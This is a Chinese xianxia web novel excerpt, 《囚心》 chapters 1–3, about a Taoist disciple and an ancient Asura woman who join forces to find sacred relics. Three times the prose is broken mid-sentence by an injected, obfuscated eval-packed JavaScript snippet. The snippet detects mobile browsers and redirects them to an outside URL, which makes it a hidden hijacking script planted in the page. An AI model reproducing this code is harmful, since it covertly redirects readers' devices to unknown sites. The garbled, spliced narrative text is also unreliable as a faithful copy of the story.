《囚心》 1. 初遇 太初三百二十八年,无幻之境封印松动,修罗一族伺机逃窜,为祸人间。 【天都城外】 黑云压城,狂风骤雨。 商扶庭捂着肩上的伤口,极速地奔走在竹林之中,雨声潇潇,四处水雾弥漫,他回头扫视了一眼紧紧跟随着的几道黑影,加快了脚下的步伐。 雨水将他从头到脚淋了个透彻,碎发粘在脸颊上,一双浓眉紧紧地蹙起。 一道黑影瞬间厮杀到了商扶庭的面前,他抬起一双艳丽的双眸看着面前狼狈的道士。 “小道士,杀了我们的人,你还想跑吗?把你手中的东西交出来!” 商扶庭神情一凛,拇指轻轻地抚过食指上的纳戒,“我本五行道宗之人,为得就是匡扶天下正义,但凡是越界的修罗、妖鬼都要斩杀!而且……这种东西凭什么要交给你们?!” 面前的修罗听完商扶庭的话顿时大笑了起来,“你我既生在这天地之间,便说明我们共有这世间,你凭什么说我们越界,我们越的是哪门子界,这界限又是谁规定的?!” “如果这世间人与修罗、妖鬼共有,自然不可能出现各种界线,既然有便说明不公,我们便要共同遵守,你们越界便是你们有错!”说完,商扶庭将手中的鲜血抹在了自己的佩剑上,幽蓝色的光芒在剑身上大盛,像是静谧的海。 修罗冷哼了一声,“螳臂当车,不自量力!”说完,他抬手掐诀,一道黑色的雾气化成弯刀冲向了商扶庭。 突然,一道绛红色的身影从天而降,来者头戴遮雨的斗笠,手中持着一柄白伞,只身挡在了商扶庭的面前,以手中的白伞做武器,轻而易举地化解了那道黑雾。 修罗警惕地看着面前突然出现的人,来者能轻而易举地化解他的刀雾,必定不是什么等闲之辈,他有些举棋不定地问道:“五行道宗的帮手吗?” “五行道宗?”姜芜抬手撩开斗笠的垂帘,转身看着身后的商扶庭,“这么弱的道士,死了就死了,只是可惜了这么俊俏的脸。” 商扶庭抬眸不解地看着姜芜,他的视线因为失血过多而变得模糊,只能看到姜芜瘦削的下巴和花瓣一般的双唇,随即他便体力不支,眼前一黑便晕了过去。 “真弱啊。” 商扶庭再次醒来时发觉自己在一座破庙之中,外面雨帘不断,分不清白天黑夜,破庙之中氤氲着一股弥漫不去的潮湿感。 “你醒了?” 商扶庭闻声朝着姜芜看去,火光如同蜜蜡一般涂在后者白皙透亮的皮肤上,她似乎是有些怕冷的烤着自己双手,内勾外翘的眼眸正在朝他这边看过来,双眸像一片黑色的深海,火光映不进去。 姜芜看了一眼商扶庭,从一旁拿起一条木枝掰成两节扔进了火堆之中,“你们五行道宗的人应该不会淋点雨放点血而发热吧?” 商扶庭面色一冷,“自然是不会的。”说完,他便觉得喉头一阵发痒,随即剧烈地咳嗽了起来。 姜芜见状,轻挑了一下眉毛,随后从广袖中摸出一只白色的瓷瓶扔给了商扶庭,“把这个吃了吧,强身健体,有助于修行。” 商扶庭接过瓷瓶看了一眼,他抬眸看了一眼姜芜,随即迅速低下了头,耳廓微红,后者肩上披着一件绣工繁重的绛红色狐裘,眉眼浓艳面容又不乏清丽,一支白玉簪子在后脑挽了一个简单的发髻,看不出年纪却能感受到不可忽视的稳重感。 商扶庭犹豫再三,最终抬手施礼,“多谢前辈救命之恩,不知今日那几名修罗,前辈是如何处理的?” 姜芜唇角微勾,面上顿时冰融雪消,连同映在她面上的火光都多了几分艳丽,声音轻快地说:“自然是放走了。” “放走了?”商扶庭面色微变,“前辈可知晓你放走的是何种东西,你可知晓你的一个举动会给人间带来何种灾难吗?修罗一族,残暴无道,虐杀人类,涂炭生灵,修罗王更是惨无人道,意图将人类从这个世间抹杀。这样,前辈还觉得自己的做法是正确的吗?!” 姜芜面不改色地看着商扶庭,“如果我不放走他们,会有人找我麻烦的,而且诛修罗灭妖鬼是你们五行道宗的事情,你这么弱杀不了他们,为什么我就有义务替你解决呢?” 商扶庭厉声道:“修罗妖邪为祸世间,这天下人人都可以诛之,除非......前辈不是人!”说完,他的长剑出鞘,锋利的剑尖直逼姜芜。 姜芜抬起双指在身前轻轻一弹,商扶庭的长剑便无法再前进半分。 “我说过,你很弱,除非我故意,否则你不可能进我的身。” 两者的术法相对,巨大的罡风平地而起,吹得姜芜的狐裘猎猎作响。 商扶庭不信邪,他伸手掐诀,要紧牙关刺向姜芜。 姜芜见状幽幽地轻叹一声,她撤掉周身的结界,让商扶庭如愿以偿地刺入她的胸口。 “杀我,你还不够格。” 商扶庭面色一惊,他迅速后撤,一簇血花随着他的动作被冰冷的剑尖带了出来。 姜芜眉心一拢,伸手擦掉了唇边的血珠,疼痛比她想象中的还要尖锐,但是并没有造成实质性的伤害,她抬眸看向了商扶庭,“现在解气了吗?能好好的听我说话了吗?” “你!到底是什么来历?” 姜芜站了起来,她伸手捂住了胸前的伤口,黑红色的戾气从她的掌心蔓延开来,伤口处外翻的皮肉迅速合拢愈合,最后连带着破损的衣裳,最后甚至连衣服上的血渍都消失得干干净净。 “我什么来历不重要,重要的是我知道他们为什么追你。”姜芜将目光转移到了商扶庭手指上的纳戒中,“你身上持有息壤之土,那是修补无幻之境所必须的圣物之一,我说的没错吧?” 商扶庭的面色逐渐冰冷,他握紧了手中的长剑,斩钉截铁地说:“你是修罗!” 姜芜说:“我可以帮你找到剩下的圣物,让五行道宗可以顺利的封印松动的无幻之境。” 商扶庭脸上出现一丝动摇,却依旧质问道:“你身为修罗会有这么好心?愿意帮助五行道宗修复无幻之境的封印?!” 姜芜勾唇,她从腰间的布袋中取出一只薄皮梨子,随意地在衣服上擦了擦,“当然,不过我帮你找到修补圣物之后,你需要答应我一个要求。” “什么要求?” 姜芜咬了一口甜脆的梨子,沉思了片刻,“我现在还没想好,但是我肯定不会做赔本的买卖,所以先欠着喽。” 商扶庭冷哼一声,他将长剑收回鞘内,“你凭什么认为我会跟一个修罗合作?” “是吗?”姜芜将梨核扔进了火堆中,毫不意外地说,“那你知道剩下的圣物在哪里吗?你要怎样去找?如果它们出现在妖界呢?凭你这身功夫怎样才能够在妖界走个来回呢?但是我能,这天下人间,只要我想便无人拦得住我。” 商扶庭说:“你好大的口气,不愧是修罗一族,狂妄又自大。” 姜芜不以为然地说:“我就当你在夸奖我。” 商扶庭冷笑了一声,“恬不知耻。” 姜芜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106411|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挑了一下眉毛,“我不跟你一般见识,你预备什么时候回宗门?” 商扶庭讶然,“你什么意思?你要跟我一起回师门吗?你胆子未免也太大了些,你是不怕死吗?!” 姜芜从破旧的蒲团上站了起来,她伸手抚了抚身上的氅衣,“我不是说了吗?我要帮你找圣物,去你的宗门拜山,告诉你的师父师祖们,你这个小孩没有乱跑,而且是跟我这个修罗在一起,也好让他们放心。” 商扶庭听完姜芜的话,面色有些古怪,随即嗤笑了一声,“让他们放心?因为我跟一个修罗在一起,所以让他们放心?你究竟有什么目的?!” 姜芜垂眸低笑,她绕过火堆走到了商扶庭的面前,“既然要合作,我当然是抱着十足的诚意来的,修罗一族有秘术,可以将两个人的性命绑在一起,也可以让一个人的生命完完全全交付到另一个人的手中。这算是我的见面礼,不知是否够诚意?” “你莫非当我是三岁小孩吗?不怕我直接杀了你吗?”商扶庭因为姜芜的态度而烦躁,直接出剑搭在了她的脖颈处,“你目的不纯,而且今日又私自放走了那么多的修罗,我怎么知晓你的真实目的不是灭我五行道宗满门?” 姜芜恍然大悟,她笑着看向商扶庭,“原来你存着这样的心思啊。”说完,她左手迅速撞掉商扶庭的长剑,右手迅速掐诀打向后者的胸口。 商扶庭大惊,迅速甩剑后撤格挡,“卑鄙!” 姜芜嘴角带着笑意,她反转手腕,黑红色的光芒大盛。 商扶庭只觉得剑身微震,随即他的虎口处裂开了一道未伤筋骨的血痕,顷刻之间手中的长剑便落了地,而姜芜的手也逼近到了身前。 商扶庭咬牙,预备在最后的关头自爆金丹,想着即便是无法与面前的修罗同归于尽,也要将她重伤,这样才对得起天下大道,对得起师门。 姜芜一掌打在了商扶庭胸口的位置,随后立刻停下了动作,带起的罡风也在瞬间消失殆尽。 商扶庭被震得后退了几步,他眼疾手快地拉住了姜芜的手臂,预备与她同归于尽,可是胸口的剧痛迟迟没有到来,他抬眸诧异地看向姜芜,脚下却一个踉跄摔倒在地。 姜芜撑在商扶庭的上方,略带玩味地看着他,“你们人族不是讲求男女授受不亲吗?你这个小道士是觉得我好看,所以着急投怀送抱吗?” 商扶庭感受到扑面而来的温软气息,一瞬间心跳漏了半分,顿时涨红了脸,他伸手推开姜芜,随后闪身到了一旁,偏过头去不再看她,“你胡说什么呢?!” 姜芜摔在一旁,也不着急起身,反而伸手整了整有些凌乱的长发,“就当我孤陋寡闻吧,确实不懂你们人间的弯弯绕绕,但我也没有见过像你这样自残的道士。”说完,她便起身走到了商扶庭身侧,矮身将手放在了后者的手臂上。 “你做什么?” “帮你疗伤。”姜芜的法术一转方才的狠厉与可怖突然似水一般的柔意,缓缓地流淌进了商扶庭的体内,修复着他金丹上的裂痕,“年轻人,不要如此想不开,要珍爱生命啊。” 商扶庭确定姜芜对他没有恶意之后,继续问道:“我是问你之前在做什么?” 姜芜见商扶庭无奈之后站直了身体,“在你的胸口上打了一道咒而已。” 商扶庭蹙眉,“咒?什么咒?”说完,他便伸手扯开了自己的前襟,只见血红色的图腾颜色鲜艳,仿佛带着催命的意味张牙舞爪地遍布在他的胸口上。 姜芜如实回答道:“同心咒。” 2. 故人 商扶庭蹙眉,质问道:“什么意思?你要我跟你这个修罗同生共死吗?简直是痴心妄想!” 姜芜挑眉,“你多虑了,这条同心咒是单方面的,只能你控制我,而我不能控制你,这是我的诚意。” 商扶庭倏地看向姜芜,双眸中闪过一丝差异,“你在搞什么阴谋诡计?当真不怕我杀了你?!方才还是你说我不惜命的。” “别担心。”姜芜居高临下地看着商扶庭,会心地一笑,她原本以为商扶庭是一只浑身尖锐的刺猬,但是她忘记了刺猬也有柔软的内里。 “我的话还没有说完。”姜芜继续道,“这句话的后面还有但是。” 商扶庭疑惑地看着姜芜,“但是什么?” “如果你敢拒绝,我不介意反过来控制你。”姜芜收敛了脸上和善的笑容,瑰丽的面容上似乎带上了一层无幻之境中戾气结成的冰,诡异的黑色瞳孔也泛着骇人的血色,“你们人族曾经有一个成语叫做先礼后兵,所以现在还是你受制于我。” 商扶庭心神一荡,偏头呕出一口鲜血,“你这个诚意够狠,不愧是修罗一族,我就不该信你!” “放心,不到万不得已,我是不会对你出手的。你这么弱,根本不需要我反驱同心咒。”姜芜朝着商扶庭伸出了手,“而且同心咒必须由你的修为催动才能发作,你这点修为根本奈何不了我什么。而我只是为了证明我帮你寻找圣物的诚意,你是可以信我的。” 商扶庭抚开姜芜的手,自顾自地站起了身,他沉默了片刻,随后才开口道:“可以,但是我要知道你的目的,我不信你身为修罗愿意帮助我们寻找圣物,去封印你的族人。还有,你为什么会找上我?” 商扶庭回想起白日所发生的一切,确定姜芜并非路过,而是直奔自己而来的,想到这里他不禁将自己的目光放在了太初剑上。 姜芜是为了太初剑而来的。 姜芜沉思了片刻,随口道:“我想要你们人族的农耕技术,这个目的应该不算过分吧,所有人都想建设自己的家园,我也是不例外的。” 商扶庭蹙眉,面色不解地问道:“仅仅如此?” 姜芜勾起了唇角,“当然,无幻之境内荒芜颓败,我曾经尝试过去耕种,但是似乎因为方法错误亦或是土地太过于贫瘠,以至于结出来的果实瘦小酸涩,不如人间的香甜多汁。”说完,她便从腰间的布包中取出一枚脆梨递给了商扶庭。 商扶庭的目光落到了那只脆梨上,心中依旧存有疑惑。 “你叫什么名字?” 姜芜笑着说:“姜芜,你呢?” 商扶庭颔首,“五行道宗,商扶庭。” 姜芜脸上的笑意更浓,“很有趣嘛,小道士。” 【五行道宗】 隔日,二人上山之时,昨日的雨经过一夜的酝酿已经变成了细碎的雪花,从灰蒙蒙的空中洋洋洒洒而落。 姜芜抬头看着一眼望不到头的云阶,捧着手里的暖炉,神不慌气不喘地问道:“小道士,你们五行道宗进山门后不能再使用法术了吗?这么长的云阶,要走到何年何月去?” 商扶庭擦了擦额间的热汗,回头看了一眼神情如常的姜芜,“师尊曾经告诫我们修行之人,不仅仅要修神还要锻体,而这条云阶刚好能达到锻体的功效,所以五行道宗自成立以来,入山门后便不允许再使用法术。” 姜芜幽幽地叹了一声,随后抱着暖炉继续往上走。 商扶庭低头行了几步,想起方才百思不得其解的事情,转头对姜芜说:“五行道宗是有护山大阵的,刚刚你入山门的时候为何无事发生?你到底是什么身份?” 姜芜说:“我的身份你不是已经知道了吗?为何还要再问我,至于你们的护山大阵为何没有反应,那是因为我有我的秘密法宝,你想要知道吗?” 商扶庭面色一凛,“无趣,谁要知道你的秘密法宝。”说完,他便闷头往上走去,甚至加快了脚下的速度。 “你在这里等候,我要进去禀告师尊与师叔们。” “可以。” 姜芜看着商扶庭进入了流水殿,转身在殿前的广场上闲逛了起来。 五行道宗建于天都城外向北八百里的长衡山上,由五行命名五个大殿,太初道祖身陨之后,便由他的五名弟子镇守长衡山并广收门徒,至今已桃李满天下。 流水殿为正前殿,殿前的广场上伫立的太初道祖的等身玉石像。 姜芜捧着手炉漫无目的地行走着,走到太初道祖的玉石像前便停住了脚步,她抬眸看着记忆中清晰如昨的面貌,脸上的气定神闲突然有些扭曲,身上黑红色的雾气也不由自主地外溢。 “大胆,你是何人?!” 一道亮丽的女声突然传来,打断了姜芜的思绪。 姜芜迅速垂下了双眸,掩盖住其中的情绪,然后转身朝来者看去,脸上带着不达眼底的笑容。 沈确站在殿前,面色冷峻地看着姜芜,“为何对师祖不敬?” 姜芜矢口否认,“没有啊。” 姜芜见来者只是一个十六岁上下的姑娘,身上穿着湖蓝色的五行道服,手中握着太阿长剑,顿时便知晓了面前女子身份。 早在十年前,修真界式微,无幻之境进一步松动,连同大荒内的妖族也为患人间,人间处于水深火热之中,民不聊生,长衡山却突然传出了六岁小童筑基的佳话,修真界纷纷认为二子是人界的希望,是对抗修罗与妖族的神兵利器。 姜芜本以为这只是修真界造神的空话,却没想到五年前镇山的太初、太阿两柄神剑已经认主,这才确信此事不假,不过她也没有太往心中去,因为人类生命于她而言不过弹指之间,修道之人也鲜有羽化登仙之辈,不过是都化了神州大地中的一剖随风四散的黄土。 姜芜不认识那两个天才小童,但是她认识太初、太阿两把神剑,这是百年前太初的佩剑。 沈确突然抬手掐诀,二指一并迅速在眼前一抿,水色顿时从她的双眸中蔓延出来,“你是何人,我为何看不出你的来历?!非人非道,非妖更非修罗。” 姜芜无奈地叹了一声,“看不出我的来历,只能说你还太嫩,还需要多多修行。”说完,她便捧着手炉飞身上前,身上黑红色的戾气外溢。 “你的眼睛。”姜芜笑道,“很有趣。” 姜芜隔空扼住沈确的脖颈,一道黑红色的法术直逼后者的面门。 “让你看看我是谁。” 沈确瞪大了双眸,黑色的瞳孔中应着姜芜被黑红色戾气映衬着潋滟诡谲的面容。 一股晶蓝色的术法瞬间从流水殿内扑了出来。 姜芜立刻松开沈确,一蹬白玉扶栏,旋身至台阶之下。 沈确捂着脖颈剧烈地咳嗽了起来,她身形不稳将将要摔倒,幸好由商扶庭自后扶了一把。 “阿确,你没事吧?” 沈确摇了摇头,示意自己无事。 “何人伤我门徒?” 清逸道尊从流水殿中飞身出来,右手掐诀凭空化水凝冰,直逼姜芜。 “堂堂五行道宗,修真圣地,却私藏人妖混血,说出去岂不是让天下修道之人所耻笑?”姜芜只是抬手的瞬间,面前的坚冰便化为了齑粉,“何必如此大动干戈,我只不过是听说了十年前的传闻,所以特来试探一番,恰逢小姑娘好奇我的身份,我何不让她看上一二?” 清逸道尊后退半步,顿时觉得胸口的位置有撕裂般的疼痛,他双眸一眯,将涌至喉头的鲜血咽了下去,“你便是扶庭所说的那名女修罗。” 姜芜又想叹气了,想来自己近几日叹气过多,硬生生地忍了下来,“是啊,之中的缘由商扶庭大抵已经跟你们解释清楚了,我今日来只是告知你们,不是来跟你们寻求合作的,毕竟你们几个即便是联手一起,也未必是我的对手。” 赤铄道尊上前一步,“女修罗,你好大的口气,不怕我们的长衡山五行道尊的护山大阵吗?” “怕?护山大阵不过是请太初残神上身,对闯山者施以其鼎盛时期的全力一击。”姜芜手指抚了抚暖炉,用法术重新烘热了里面的炭火,“太初在世之时,我都能杀得了他,更何况其百年之后的残魂呢。” 梅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梅华道尊抬手给姜芜斟茶,“这么多年了,我没有想到还能再见到你。不知那位现下如何了?当年之事并非师尊本意,他死前已经知错了,还请你不要再记恨他。” 商扶庭神情一愣,他抬眸看向姜芜,准确地抓住了梅华道尊话里的那个人,之前在破庙之时姜芜也提到过那个人的存在。 姜芜抚了抚身上的大氅,隔着桌子坐在了梅华道尊的对面,她抬手执起茶盏,低头垂眸抿了一口其中的热茶,“既然已经是当年之事了,就不要再提了。” 梅华道尊晦涩不明地看了一眼姜芜,“既然如此,这次出现为何要帮助我们寻找圣物呢?你似乎在做着与当年背道而驰的事情,这让我很难去相信你。” 姜芜说:“你不需要知道那么多,你只需要知道我是了帮你们的,这样就足够了。” 梅华道尊追问道:“找齐圣物之后,你不会是要销毁掉它们吧?如果真是这样,我们即便是抱着修真界覆灭的可能,也会阻止你们。” 姜芜执杯的手一顿,“小微,我现在是看在太初的面子上。” 梅华道尊垂眸,“既然我们双方的态度都已经摆明,那么就按照现状继续吧,不过寻找来的圣物不能经过您的手,全权由我的两位徒弟负责。” 姜芜挑眉,“两位?” 梅华道尊颔首,“没错,商扶庭和沈确。” 姜芜忍俊不禁,甚至笑出了声,“本以为带着一个累赘就够了,居然还要带着两个。” 梅华道尊的面色也冷了下来,“扶庭已经把近几日发生过的一切都告知了我们,而且太初剑和太阿剑对你们是有威胁的。你有你的打算,我们也有我们的考量,毕竟这次是你一人出现,我们都无法保证他会不会突然出现,对他们做出一些实质性的伤害。” 商扶庭忍不住开口问道:“他?是谁?” 梅华道尊目不转睛地盯着姜芜,回道:“修罗一族中最可怖的存在,甚至无法考察他究竟存活于世多久。” 商扶庭追问道:“比修罗王还要可怕吗?姜芜跟他是什么关系?” 3. 血契 梅华道尊的双眸中闪过一丝玩味,她冷笑一声,“姜芜?关系?” 姜芜毫不在意地挑眉,她将手中的茶盏放在桌上,声音不大但却起到了十足的威慑作用,她笑着看向商扶庭,“这不是你该关心的事情,我活了很久,过往之事百年都未必能说明了,所以你还是不要那么好奇。” 商扶庭哑然,他抿了抿双唇,嘀咕道:“谁稀罕知道你的过往。” 梅华道尊从广袖中取出了一卷轴纸,“姜芜,我要你今日立血誓。” 姜芜面色不改,“可以,内容由你们来定。” 梅华道尊冷冷地扫了姜芜一眼,随即将轴纸展开,她抬手掐诀引了自己的心头之血在纸上书写内容。 清逸道尊面上不忍,开口道:“师姐!” 梅华道尊开口道:“第一,我要你保证商扶庭和沈确的安全,等所有的圣物找回之后,必须将他们全须全尾地送回长衡山。” 姜芜颔首,“这是自然,我也没有打算对他们做什么。” 梅华道尊继续说:“第二,你不允许损坏任何一个圣物。” “当然。” “第三,我不管你意欲何为,在圣物全部找齐之前,你不允许跟他见面,更不能与他互通心意,如果他强行找来,不可让他伤害商扶庭和沈确。” 姜芜松了一口气,“这一条跟第一条重复了。” 梅华道尊垂眸在纸上快速书写,“这三条,只要你违反其中的一条,亦或是想要销毁血契,便会受百倍的噬心削骨之痛。” 姜芜手指一勾,梅华道尊掌下的纸瞬间飘至了她的手中,略略浏览过上面的内容后便在落款的位置按下了自己的血指印。 梅华道尊突然没头没尾地说:“姜芜,你知不知晓我师尊死前有多痛?” “不知道。” 姜芜手指翻转,一份一模一样的契约出现在了她的掌中,她将其中一份递给了梅华道尊,“我也不想知道他有多痛,我自觉那个时候比他更痛。” 梅华道尊听完姜芜的话,神情有些扭曲。 “如若没有其他的事情,就让两个小童收拾一下行囊吧,此一去没有一年半载是回不来的。”说完,姜芜将手中的血契卷起放进了自己腰间的布袋中。 梅华道尊突然冷下了脸,“三个月,我只给你三个月的时间。现在无幻之境的封印越发的松动,单凭我们几人和世代的守封人已是勉强,不可能留给你一年半载的时间。” 姜芜应了一声,面色不改地说:“三个月便三个月。” 赤铄道尊见状便挥手让商扶庭和沈确回房收拾行囊。 “姜芜,你总是这样,所有的事情都是一副事不关己的样子。”梅华道尊面上浮现出隐隐约约的怒气,“你凭什么不在乎我师尊,你凭什么认为我师尊当年做的是错事,他为了天下生灵以身殉道,你凭什么认为他是错的。” 姜芜端起茶盏,漫不经心地说:“他所做之事,对错与我何干?我活过万年之久,对错一事早就于我无关。人这一生短暂绚烂,于我来说如同白驹过隙,不过尔尔,但是却能够生如此复杂的情感,山水千年一变,人类百年一换,每一次的改变都会重新定义对错,我又何苦附和你们的对错,自寻烦恼?我心中自有一副自己的对错。” 梅华道尊愤愤地说:“修罗一族,冷心冷面,磐石之心!” 姜芜喝茶的动作一顿,很快掩盖住了脸上的神情,“你说什么便是什么吧,如果这样对我口诛笔伐能让你感觉到一丝痛快,缓解你当年分离之痛,我也无所谓的。” 梅华道尊深深地吸了一口气,随即对姜芜说:“既然选择合作,我们便开诚布公,现下我们手中只有息壤之土,还需要颙鸟精火、若木之根、五彩之石、天河之水,如果我没有记错的话,天河之水和五彩之石似乎只能在无幻之境中找到,而颙鸟精火和若木之根则处于大荒妖族境内,你预备如何?” 姜芜说:“这个你不用多管,我既然答应了你的事情,肯定是会做到的。” “很好,你还是像之前一样,一丝一毫都未变。”梅华道尊将一只罗盘拿出来,放在桌上推向了姜芜,“这个是师尊当年留下的遗物,可以捕捉到圣物的存在,只要快接近圣物之时用法术催动,它便会发出指引,这样便会事半功倍。” 姜芜挑眉,她垂眸看着那只罗盘良久,片刻后笑着说:“颙鸟精火?你是让两个小童去找寻圣物,还是让他们去死?以他们的修为,万年大妖也是可以杀的吗?” 梅华道尊说:“所以你来了,有你在,我很放心。” 姜芜伸手将罗盘收了起来,“知道了。” 沈确亦步亦趋地跟在商扶庭身后,有些犹豫不决地问道:“师兄,我们真的要跟着那个女修罗去寻找圣物吗?” 商扶庭脚步一顿,他不否认姜芜的强大,但是面对后者身为修罗的事实,他心里还是有几分动摇。 “师兄,你在想什么?” 沈确伸手扯了扯商扶庭的袖子。 “既然师尊和师叔他们信她,而且她也签了血契,我们就暂且信她吧,寻找息壤之土的路上所遇到的拦路修罗,我确实不是他们的对手,或许能有她一起通行也是一个保障。”商扶庭抿了抿双唇,“不过,阿确你放心,我会保护你的。” 沈确点了点头,然后转身回自己的房间收拾行李。 等商扶庭同沈确出门时,姜芜已经在山门处等候许久了,寒冬腊月,雪下得比方才急了许多,硕大的雪花纷纷扬扬。 姜芜就那么静静地背对着他们立着,等着雪花落满她的身,冷冽的北风吹起她长发,背影看起来又是那么的孤寂。 “我记得你昨天是有伞的。” 姜芜微笑,“你说的那把伞啊,昨天救你的时候已经坏了呢。” 商扶庭问道:“你为什么不用法术挡一下,莫非神通广大的修罗一族没有避风雪的咒法?” “不想避。”说完,姜芜便往山下走去,却抬手为商扶庭和沈确二人撑了一道避风躲雪的屏障。 沈确不解地追了上去,“你这是何意,我们又不是不会自己撑,不需要你的好意。” 姜芜脸上的笑意不变,“不是好意,是怕这雪下得时间太长,而你们消耗的法力又太多,帮你们节省而已,毕竟这一路上什么事情都需要你们自己去做,除非你们解决不了,否则我是不会出手的。” 沈确很想反驳姜芜,但是静下心来思索片刻又觉得姜芜的话并没有错,索性讪讪地闭了嘴不再说话。 姜芜开口问道:“距离长衡山最近的村落在哪里?” “你要做什么?”商扶庭问道,“如果我没有记错的话,应该是闻香镇。” “听起来像是一个不错的名字。”姜芜抬头看了一眼雾蒙蒙的天空,“不知不觉已经过了晌午了,该找些吃食填一下肚子了,谁成想堂堂修真界第一大宗派如此之拮据,有客远道而来居然只是几盏粗茶,连一份茶点都未上,更别提什么暖胃餐食了。” 商扶庭蹙眉,“修道之人,早已辟谷,根本不需要什么吃食暖胃。” “我又不是什么修道之人,何来辟谷一说。”姜芜挑眉,“左右不过是你们跟着我,而且我还有你们掌门送的罗盘,所以这一路上去何处做何事还是要听我的。” 商扶庭神情逐渐不悦,“你!为何如此不珍惜时间?无幻之境封印松动,天下大劫将至,你居然还能如此悠闲。其实,你根本不想帮我们寻找圣物吧,一切的一切都是你的借口。” 姜芜无奈地叹息,她从广袖中取出两条束袖的链条,将自己的袖口仔细地绑了起来,防止寒风入侵,“不如,你们就当尊老爱幼,体谅体谅我这个老年人?毕竟我这一日三餐如果不按时吃,就会没有力气走路,甚至连手都抬不起来,就当作是为你们的安全着想。” “荒唐!” 商扶庭瞪了姜芜一眼,随后快步朝着山下走去。 【闻香镇】 进入腊月之后,下过几场雪便临近了元日。本应热闹非凡的闻香镇此时却一反常态,整条街道上冷冷清清的。 商扶庭停下了脚步,他神情凝重地看着鲜少有人的街道,“有些不对劲。” 沈确下山的次数不多,再加上今日大雪,所以并没有看出闻香镇的异常,“师兄,怎么了?” 商扶庭攥紧了手中太初剑,“这闻香镇内恐怕有妖物作祟,但是妖气稀薄,可能是有妖物经过,亦或是法力低微的小妖。” 沈确蹙眉,她抬手捏剑指,驱动法术覆于双眸之上,“既然如此,我便看看是何种妖物......”说完,她双眸抽痛,原本晶蓝色的法术顷刻之间遭到了反噬,化为了血红色不断地侵蚀着她的双眸。 “好痛!” 沈确惊呼一声,她捂着自己的双眸跪倒在地。 商扶庭大惊,他迅速上前扶住沈确,在后者的身上点了几个穴道,暂时封住了她的法术。 红色的法术从沈确的双眸上褪去,原本黑白分明的双眸现下布满了血丝,四周的皮肤上布满了可怖的黑色纹路。 姜芜俯身将手覆盖在了沈确的双眸上,“中毒了,还能看得清吗?”说完,她便将手拿开。 沈确缓慢地睁开了自己的双眸,片刻后便合了上来,“不行,很痛,而且看不清,感觉雾蒙蒙的,倒出都很暗。” “原本只是想在闻香镇落个脚,看来现在要去解决这里的麻烦了。”姜芜说,“小道士,你背上你师妹,我们先去找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106413|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个落脚的地方,顺便打听一下这里有没有什么怪事。” 商扶庭抬眸看了姜芜一眼,随后点了点头,俯身将沈确背了起来。 三人选择了镇上一间规模可观的客栈。 姜芜进门之后便扔给了店小二一锭银子,“小二,三间客房,顺便将你们这里的特色来一席。”说完,她撑起门口的棉帘,方便商扶庭背着沈确进门。 店小二拿着姜芜给的银子,满脸堆笑,“三位客官来得可真是巧,本店就只剩三间客房了,请三位稍微一等,饭菜马上就好。” 姜芜这才发觉店内的气氛有些不对,之间不大的一楼散客地坐满了各种各样的人,他们在三人进门之后不约而同地看了过来。 一楼的中央支着火炉,几个扛刀的彪形大汉围坐在火炉旁,脚侧放着酱牛肉和酒坛。 姜芜搓了搓手,让商扶庭先上楼安排好沈确,自己寻了最角落的地方落座。 这处位置临近窗户,掌柜的为了采光并没有在其上覆盖棉帘,虽然能看到整个一楼所有的人,但是耐不住寒风萧瑟。 姜芜将暖炉重新取了出来,捧在手心中为自己驱寒。 店小二提着一壶姜茶走了过来,“这是我们掌柜的准备的姜茶,请您先喝一些暖暖身子,这一路天寒地冻也是辛苦了,明日便是镇上李家公子娶亲的日子,李家几乎邀请了所有人去观礼呢。姑娘若是在此地久留,届时可以去讨杯喜酒喝呢。” 姜芜略略扫过店内的人,“这李家真是豪气,居然邀请了这么多人吗?我以为只有镇子上的人呢。” 店小二说:“这就是您说笑了,李家可是我们方圆百里有名的富有之人呢。” 姜芜拎起茶壶为自己倒了一杯姜茶,她并不着急去喝而是放在手心中缓缓地搓着,顺便将衣服上融化的雪水用法术烘干。 商扶庭从楼上三步并两步地跑了下来,他坐到姜芜的对面,单刀直入地问道:“你打听到什么了吗?我们什么时候去捉妖?” 姜芜放下茶杯,拿起筷子不紧不慢地品尝着桌上的菜肴,“不急,这里这么多修道之人呢,修为都在你之上,捉妖这事可轮不到你。” “不行,阿确的眼睛要紧,你如果不去,我自己会去。”说完,商扶庭便拿起太初剑准备往外走。 姜芜扬声道:“这外面天寒地冻,大雪纷纷的,你要去哪里打听消息。” 商扶庭脚步一顿,反问道:“你说怎么办?” 姜芜拿着筷子在桌面上悬空画了一个圆,“这里不就是打听消息最好的地方吗?”说完,她不带笑意的双眸依次扫过店中所有的修士。 “太初剑,你们是五行道宗的人?” 围在火炉旁的一名独眼大汉将手中的牛肉扔在了盘子中,目光落在了商扶庭手中的太初剑上。 商扶庭面色一凛,随即持剑抱拳,“五行道宗,商扶庭,敢问前辈名讳。” 